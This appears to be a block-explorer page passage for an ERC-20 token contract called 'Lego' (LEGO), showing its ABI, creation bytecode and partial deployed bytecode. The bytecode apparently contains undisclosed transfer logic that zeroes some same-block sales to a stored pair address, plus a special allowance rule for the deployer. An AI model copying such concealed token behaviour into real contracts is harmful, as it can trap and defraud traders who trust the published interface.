bility":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"eip712Domain","outputs":[{"internalType":"bytes1","name":"fields","type":"bytes1"},{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"version","type":"string"},{"internalType":"uint256","name":"chainId","type":"uint256"},{"internalType":"address","name":"verifyingContract","type":"address"},{"internalType":"bytes32","name":"salt","type":"bytes32"},{"internalType":"uint256[]","name":"extensions","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

Contract Creation Code

Decompile Bytecode Switch to Opcodes View

610160604052348015610010575f80fd5b50336040518060400160405280600481526020017f4c65676f00000000000000000000000000000000000000000000000000000000815250806040518060400160405280600181526020017f31000000000000000000000000000000000000000000000000000000000000008152506040518060400160405280600481526020017f4c65676f000000000000000000000000000000000000000000000000000000008152506040518060400160405280600481526020017f4c45474f0000000000000000000000000000000000000000000000000000000081525081600390816100fa9190610928565b50806004908161010a9190610928565b5050506101216005836102c360201b90919060201c565b610120818152505061013d6006826102c360201b90919060201c565b6101408181525050818051906020012060e08181525050808051906020012061010081815250504660a0818152505061017a61031060201b60201c565b608081815250503073ffffffffffffffffffffffffffffffffffffffff1660c08173ffffffffffffffffffffffffffffffffffffffff16815250505050505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610228575f6040517f1e4fbdf700000000000000000000000000000000000000000000000000000000815260040161021f9190610a36565b60405180910390fd5b6102378161036a60201b60201c565b506102703361024a61042d60201b60201c565b600a6102569190610bb7565b633b9aca006102659190610c01565b61043560201b60201c565b3360095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506102be61058f60201b60201c565b610e87565b5f6020835110156102e4576102dd836105ae60201b60201c565b905061030a565b826102f48361061360201b60201c565b5f0190816103029190610928565b5060ff5f1b90505b92915050565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f60e05161010051463060405160200161034f959493929190610c69565b60405160208183030381529060405280519060200120905090565b5f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f6012905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036104a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049a90610d14565b60405180910390fd5b6104b45f838361061c60201b60201c565b8060025f8282546104c59190610d32565b92505081905550805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516105729190610d65565b60405180910390a361058b5f838361062160201b60201c565b5050565b61059d61062660201b60201c565b6105ac5f61036a60201b60201c565b565b5f80829050601f815111156105fa57826040517f305a27a90000000000000000000000000000000000000000000000000000000081526004016105f19190610dd4565b60405180910390fd5b80518161060690610e21565b5f1c175f1b915050919050565b5f819050919050565b505050565b505050565b6106346106bf60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff166106586106c660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16146106bd576106816106bf60201b60201c565b6040517f118cdaa70000000000000000000000000000000000000000000000000000000081526004016106b49190610a36565b60405180910390fd5b565b5f33905090565b5f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061076957607f821691505b60208210810361077c5761077b610725565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026107de7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826107a3565b6107e886836107a3565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f61082c61082761082284610800565b610809565b610800565b9050919050565b5f819050919050565b61084583610812565b61085961085182610833565b8484546107af565b825550505050565b5f90565b61086d610861565b61087881848461083c565b505050565b5b8181101561089b576108905f82610865565b60018101905061087e565b5050565b601f8211156108e0576108b181610782565b6108ba84610794565b810160208510156108c9578190505b6108dd6108d585610794565b83018261087d565b50505b505050565b5f82821c905092915050565b5f6109005f19846008026108e5565b1980831691505092915050565b5f61091883836108f1565b9150826002028217905092915050565b610931826106ee565b67ffffffffffffffff81111561094a576109496106f8565b5b6109548254610752565b61095f82828561089f565b5f60209050601f831160018114610990575f841561097e578287015190505b610988858261090d565b8655506109ef565b601f19841661099e86610782565b5f5b828110156109c5578489015182556001820191506020850194506020810190506109a0565b868310156109e257848901516109de601f8916826108f1565b8355505b6001600288020188555050505b505050505050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610a20826109f7565b9050919050565b610a3081610a16565b82525050565b5f602082019050610a495f830184610a27565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115610ad157808604811115610aad57610aac610a4f565b5b6001851615610abc5780820291505b8081029050610aca85610a7c565b9450610a91565b94509492505050565b5f82610ae95760019050610ba4565b81610af6575f9050610ba4565b8160018114610b0c5760028114610b1657610b45565b6001915050610ba4565b60ff841115610b2857610b27610a4f565b5b8360020a915084821115610b3f57610b3e610a4f565b5b50610ba4565b5060208310610133831016604e8410600b8410161715610b7a5782820a905083811115610b7557610b74610a4f565b5b610ba4565b610b878484846001610a88565b92509050818404811115610b9e57610b9d610a4f565b5b81810290505b9392505050565b5f60ff82169050919050565b5f610bc182610800565b9150610bcc83610bab565b9250610bf97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610ada565b905092915050565b5f610c0b82610800565b9150610c1683610800565b9250828202610c2481610800565b91508282048414831517610c3b57610c3a610a4f565b5b5092915050565b5f819050919050565b610c5481610c42565b82525050565b610c6381610800565b82525050565b5f60a082019050610c7c5f830188610c4b565b610c896020830187610c4b565b610c966040830186610c4b565b610ca36060830185610c5a565b610cb06080830184610a27565b9695505050505050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f610cfe601f83610cba565b9150610d0982610cca565b602082019050919050565b5f6020820190508181035f830152610d2b81610cf2565b9050919050565b5f610d3c82610800565b9150610d4783610800565b9250828201905080821115610d5f57610d5e610a4f565b5b92915050565b5f602082019050610d785f830184610c5a565b92915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610da6826106ee565b610db08185610cba565b9350610dc0818560208601610d7e565b610dc981610d8c565b840191505092915050565b5f6020820190508181035f830152610dec8184610d9c565b905092915050565b5f81519050919050565b5f819050602082019050919050565b5f610e188251610c42565b80915050919050565b5f610e2b82610df4565b82610e3584610dfe565b9050610e4081610e0d565b92506020821015610e8057610e7b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff836020036008026107a3565b831692505b5050919050565b60805160a05160c05160e0516101005161012051610140516124a9610ed85f395f61103201525f610ff701525f61144201525f61142101525f610dab01525f610e0101525f610e2a01526124a95ff3fe608060405234801561000f575f80fd5b5060043610610114575f3560e01c80637ecebe00116100a0578063a457c2d71161006f578063a457c2d7146102ea578063a9059cbb1461031a578063d505accf1461034a578063dd62ed3e14610366578063f2fde38b1461039657610114565b80637ecebe001461025a57806384b0196e1461028a5780638da5cb5b146102ae57806395d89b41146102cc57610114565b8063313ce567116100e7578063313ce567146101b45780633644e515146101d257806339509351146101f057806370a0823114610220578063715018a61461025057610114565b806306fdde0314610118578063095ea7b31461013657806318160ddd1461016657806323b872dd14610184575b5f80fd5b6101206103b2565b60405161012d9190611902565b60405180910390f35b610150600480360381019061014b91906119b3565b610442565b60405161015d9190611a0b565b60405180910390f35b61016e610464565b60405161017b9190611a33565b60405180910390f35b61019e60048036038101906101999190611a4c565b61046d565b6040516101ab9190611a0b565b60405180910390f35b6101bc61049b565b6040516101c99190611ab7565b60405180910390f35b6101da6104a3565b6040516101e79190611ae8565b60405180910390f35b61020a600480360381019061020591906119b3565b6104b1565b6040516102179190611a0b565b60405180910390f35b61023a60048036038101906102359190611b01565b6104e7565b6040516102479190611a33565b60405180910390f35b61025861052c565b005b610274600480360381019061026f9190611b01565b61053f565b6040516102819190611a33565b60405180910390f35b610292610550565b6040516102a59796959493929190611c2c565b60405180910390f35b6102b66105f5565b6040516102c39190611cae565b60405180910390f35b6102d461061d565b6040516102e19190611902565b60405180910390f35b61030460048036038101906102ff91906119b3565b6106ad565b6040516103119190611a0b565b60405180910390f35b610334600480360381019061032f91906119b3565b610722565b6040516103419190611a0b565b60405180910390f35b610364600480360381019061035f9190611d1b565b610744565b005b610380600480360381019061037b9190611db8565b610889565b60405161038d9190611a33565b60405180910390f35b6103b060048036038101906103ab9190611b01565b610900565b005b6060600380546103c190611e23565b80601f01602080910402602001604051908101604052809291908181526020018280546103ed90611e23565b80156104385780601f1061040f57610100808354040283529160200191610438565b820191905f5260205f20905b81548152906001019060200180831161041b57829003601f168201915b5050505050905090565b5f8061044c610984565b905061045981858561098b565b600191505092915050565b5f600254905090565b5f80610477610984565b9050610484858285610b4e565b61048f858585610bd9565b60019150509392505050565b5f6012905090565b5f6104ac610da8565b905090565b5f806104bb610984565b90506104dc8185856104cd8589610889565b6104d79190611e80565b61098b565b600191505092915050565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610534610e5e565b61053d5f610ee5565b565b5f61054982610fa8565b9050919050565b5f6060805f805f6060610561610fee565b610569611029565b46305f801b5f67ffffffffffffffff81111561058857610587611eb3565b5b6040519080825280602002602001820160405280156105b65781602001602082028036833780820191505090505b507f0f00000000000000000000000000000000000000000000000000000000000000959493929190965096509650965096509650965090919293949596565b5f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461062c90611e23565b80601f016020809104026020016040519081016040528092919081815260200182805461065890611e23565b80156106a35780601f1061067a576101008083540402835291602001916106a3565b820191905f5260205f20905b81548152906001019060200180831161068657829003601f168201915b5050505050905090565b5f806106b7610984565b90505f6106c48286610889565b905083811015610709576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070090611f50565b60405180910390fd5b610716828686840361098b565b60019250505092915050565b5f8061072c610984565b9050610739818585610bd9565b600191505092915050565b8342111561078957836040517f627913020000000000000000000000000000000000000000000000000000000081526004016107809190611a33565b60405180910390fd5b5f7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98888886107b78c611064565b896040516020016107cd96959493929190611f6e565b6040516020818303038152906040528051906020012090505f6107ef826110b7565b90505f6107fe828787876110d0565b90508973ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461087257808a6040517f4b800e46000000000000000000000000000000000000000000000000000000008152600401610869929190611fcd565b60405180910390fd5b61087d8a8a8a61098b565b50505050505050505050565b5f60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036108ed576108e6610464565b90506108fa565b6108f783836110fe565b90505b92915050565b610908610e5e565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610978575f6040517f1e4fbdf700000000000000000000000000000000000000000000000000000000815260040161096f9190611cae565b60405180910390fd5b61098181610ee5565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036109f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f090612064565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610a67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5e906120f2565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610b419190611a33565b60405180910390a3505050565b5f610b598484610889565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610bd35781811015610bc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbc9061215a565b60405180910390fd5b610bd2848484840361098b565b5b50505050565b5f81905043600b5f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054148015610c755750600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15610c7e575f90505b5f73ffffffffffffffffffffffffffffffffffffffff16600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610cdf5750610cde83611180565b5b8015610d0f5750600a610cf0610464565b610cfa91906121a5565b610d02610464565b610d0c91906121d5565b82115b15610d555782600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b610d60848483611191565b43600b5f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050505050565b5f7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff16148015610e2357507f000000000000000000000000000000000000000000000000000000000000000046145b15610e50577f00000000000000000000000000000000000000000000000000000000000000009050610e5b565b610e586113fd565b90505b90565b610e66610984565b73ffffffffffffffffffffffffffffffffffffffff16610e846105f5565b73ffffffffffffffffffffffffffffffffffffffff1614610ee357610ea7610984565b6040517f118cdaa7000000000000000000000000000000000000000000000000000000008152600401610eda9190611cae565b60405180910390fd5b565b5f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b606061102460057f000000000000000000000000000000000000000000000000000000000000000061149290919063ffffffff16565b905090565b606061105f60067f000000000000000000000000000000000000000000000000000000000000000061149290919063ffffffff16565b905090565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f815480929190600101919050559050919050565b5f6110c96110c3610da8565b8361153f565b9050919050565b5f805f806110e08888888861157f565b9250925092506110f08282611666565b829350505050949350505050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f80823b90505f8111915050919050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f690612278565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361126d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126490612306565b60405180910390fd5b6112788383836117c8565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156112fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f290612394565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113e49190611a33565b60405180910390a36113f78484846117cd565b50505050565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f7f00000000000000000000000000000000000000000000000000000000000000007f000000000000000000000000000000000000000000000000000000000000000046306040516020016114779594939291906123b2565b60405160208183030381529060405280519060200120905090565b606060ff5f1b83146114ae576114a7836117d2565b9050611539565b8180546114ba90611e23565b80601f01602080910402602001604051908101604052809291908181526020018280546114e690611e23565b80156115315780601f1061150857610100808354040283529160200191611531565b820191905f5260205f20905b81548152906001019060200180831161151457829003601f168201915b505050505090505b92915050565b5f6040517f190100000000000000000000000000000000000000000000000000000000000081528360028201528260228201526042812091505092915050565b5f805f7f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0845f1c11156115bb575f60038592509250925061165c565b5f6001888888886040515f81526020016040526040516115de9493929190612403565b6020604051602081039080840390855afa1580156115fe573d5f803e3d5ffd5b5050506020604051035190505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361164f575f60015f801b9350935093505061165c565b805f805f1b935093509350505b9450945094915050565b5f600381111561167957611678612446565b5b82600381111561168c5761168b612446565b5b03156117c457600160038111156116a6576116a5612446565b5b8260038111156116b9576116b8612446565b5b036116f0576040517ff645eedf00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6002600381111561170457611703612446565b5b82600381111561171757611716612446565b5b0361175b57805f1c6040517ffce698f70000000000000000000000000000000000000000000000000000000081526004016117529190611a33565b60405180910390fd5b60038081111561176e5761176d612446565b5b82600381111561178157611780612446565b5b036117c357806040517fd78bce0c0000000000000000000000000000000000000000000000000000000081526004016117ba9190611ae8565b60405180910390fd5b5b5050565b505050565b505050565b60605f6117de83611844565b90505f602067ffffffffffffffff8111156117fc576117fb611eb3565b5b6040519080825280601f01601f19166020018201604052801561182e5781602001600182028036833780820191505090505b5090508181528360208201528092505050919050565b5f8060ff835f1c169050601f811115611889576040517fb3512b0c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b80915050919050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6118d482611892565b6118de818561189c565b93506118ee8185602086016118ac565b6118f7816118ba565b840191505092915050565b5f6020820190508181035f83015261191a81846118ca565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61194f82611926565b9050919050565b61195f81611945565b8114611969575f80fd5b50565b5f8135905061197a81611956565b92915050565b5f819050919050565b61199281611980565b811461199c575f80fd5b50565b5f813590506119ad81611989565b92915050565b5f80604083850312156119c9576119c8611922565b5b5f6119d68582860161196c565b92505060206119e78582860161199f565b9150509250929050565b5f8115159050919050565b611a05816119f1565b82525050565b5f602082019050611a1e5f8301846119fc565b92915050565b611a2d81611980565b82525050565b5f602082019050611a465f830184611a24565b92915050565b5f805f60608486031215611a6357611a62611922565b5b5f611a708682870161196c565b9350506020611a818682870161196c565b9250506040611a928682870161199f565b9150509250925092565b5f60ff82169050919050565b611ab181611a9c565b82525050565b5f602082019050611aca5f830184611aa8565b92915050565b5f819050919050565b611ae281611ad0565b82525050565b5f602082019050611afb5f830184611ad9565b92915050565b5f60208284031215611b1657611b15611922565b5b5f611b238482850161196c565b91505092915050565b5f7fff0000000000000000000000000000000000000000000000000000000000000082169050919050565b611b6081611b2c565b82525050565b611b6f81611945565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611ba781611980565b82525050565b5f611bb88383611b9e565b60208301905092915050565b5f602082019050919050565b5f611bda82611b75565b611be48185611b7f565b9350611bef83611b8f565b805f5b83811015611c1f578151611c068882611bad565b9750611c1183611bc4565b925050600181019050611bf2565b5085935050505092915050565b5f60e082019050611c3f5f83018a611b57565b8181036020830152611c5181896118ca565b90508181036040830152611c6581886118ca565b9050611c746060830187611a24565b611c816080830186611b66565b611c8e60a0830185611ad9565b81810360c0830152611ca08184611bd0565b905098975050505050505050565b5f602082019050611cc15f830184611b66565b92915050565b611cd081611a9c565b8114611cda575f80fd5b50565b5f81359050611ceb81611cc7565b92915050565b611cfa81611ad0565b8114611d04575f80fd5b50565b5f81359050611d1581611cf1565b92915050565b5f805f805f805f60e0888a031215611d3657611d35611922565b5b5f611d438a828b0161196c565b9750506020611d548a828b0161196c565b9650506040611d658a828b0161199f565b9550506060611d768a828b0161199f565b9450506080611d878a828b01611cdd565b93505060a0611d988a828b01611d07565b92505060c0611da98a828b01611d07565b91505092959891949750929550565b5f8060408385031215611dce57611dcd611922565b5b5f611ddb8582860161196c565b9250506020611dec8582860161196c565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611e3a57607f821691505b602082108103611e4d57611e4c611df6565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611e8a82611980565b9150611e9583611980565b9250828201905080821115611ead57611eac611e53565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f611f3a60258361189c565b9150611f4582611ee0565b604082019050919050565b5f6020820190508181035f830152611f6781611f2e565b9050919050565b5f60c082019050611f815f830189611ad9565b611f8e6020830188611b66565b611f9b6040830187611b66565b611fa86060830186611a24565b611fb56080830185611a24565b611fc260a0830184611a24565b979650505050505050565b5f604082019050611fe05f830185611b66565b611fed6020830184611b66565b9392505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61204e60248361189c565b915061205982611ff4565b604082019050919050565b5f6020820190508181035f83015261207b81612042565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6120dc60228361189c565b91506120e782612082565b604082019050919050565b5f6020820190508181035f830152612109816120d0565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f612144601d8361189c565b915061214f82612110565b602082019050919050565b5f6020820190508181035f83015261217181612138565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6121af82611980565b91506121ba83611980565b9250826121ca576121c9612178565b5b828204905092915050565b5f6121df82611980565b91506121ea83611980565b925082820390508181111561220257612201611e53565b5b92915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61226260258361189c565b915061226d82612208565b604082019050919050565b5f6020820190508181035f83015261228f81612256565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6122f060238361189c565b91506122fb82612296565b604082019050919050565b5f6020820190508181035f83015261231d816122e4565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f61237e60268361189c565b915061238982612324565b604082019050919050565b5f6020820190508181035f8301526123ab81612372565b9050919050565b5f60a0820190506123c55f830188611ad9565b6123d26020830187611ad9565b6123df6040830186611ad9565b6123ec6060830185611a24565b6123f96080830184611b66565b9695505050505050565b5f6080820190506124165f830187611ad9565b6124236020830186611aa8565b6124306040830185611ad9565b61243d6060830184611ad9565b95945050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602160045260245ffdfea26469706673582212206108790caf1c928912be53a4a8a6652c2286167cd4a1acfe5b3068df239c158a64736f6c63430008190033

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610114575f3560e01c80637ecebe00116100a0578063a457c2d71161006f578063a457c2d7146102ea578063a9059cbb1461031a578063d505accf1461034a578063dd62ed3e14610366578063f2fde38b1461039657610114565b80637ecebe001461025a57806384b0196e1461028a5780638da5cb5b146102ae57806395d89b41146102cc57610114565b8063313ce567116100e7578063313ce567146101b45780633644e515146101d257806339509351146101f057806370a0823114610220578063715018a61461025057610114565b806306fdde0314610118578063095ea7b31461013657806318160ddd1461016657806323b872dd14610184575b5f80fd5b6101206103b2565b60405161012d9190611902565b60405180910390f35b610150600480360381019061014b91906119b3565b610442565b60405161015d9190611a0b565b60405180910390f35b61016e610464565b60405161017b9190611a33565b60405180910390f35b61019e60048036038101906101999190611a4c565b61046d565b6040516101ab9190611a0b565b60405180910390f35b6101bc61049b565b6040516101c99190611ab7565b60405180910390f35b6101da6104a3565b6040516101e79190611ae8565b60405180910390f35b61020a600480360381019061020591906119b3565b6104b1565b6040516102179190611a0b565b60405180910390f35b61023a60048036038101906102359190611b01565b6104e7565b6040516102479190611a33565b60405180910390f35b61025861052c565b005b610274600480360381019061026f9190611b01565b61053f565b6040516102819190611a33565b60405180910390f35b610292610550565b6040516102a59796959493929190611c2c565b60405180910390f35b6102b66105f5565b6040516102c39190611cae565b60405180910390f35b6102d461061d565b6040516102e19190611902565b60405180910390f35b61030460048036038101906102ff91906119b3565b6106ad565b6040516103119190611a0b565b60405180910390f35b610334600480360381019061032f91906119b3565b610722565b6040516103419190611a0b565b60405180910390f35b610364600480360381019061035f9190611d1b565b610744565b005b610380600480360381019061037b9190611db8565b610889565b60405161038d9190611a33565b60405180910390f35b6103b060048036038101906103ab9190611b01565b610900565b005b6060600380546103c190611e23565b80601f01602080910402602001604051908101604052809291908181526020018280546103ed90611e23565b80156104385780601f1061040f57610100808354040283529160200191610438565b820191905f5260205f20905b81548152906001019060200180831161041b57829003601f168201915b5050505050905090565b5f8061044c610984565b905061045981858561098b565b600191505092915050565b5f600254905090565b5f80610477610984565b9050610484858285610b4e565b61048f858585610bd9565b60019150509392505050565b5f6012905090565b5f6104ac610da8565b905090565b5f806104bb610984565b90506104dc8185856104cd8589610889565b6104d79190611e80565b61098b565b600191505092915050565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610534610e5e565b61053d5f610ee5565b565b5f61054982610fa8565b9050919050565b5f6060805f805f60606105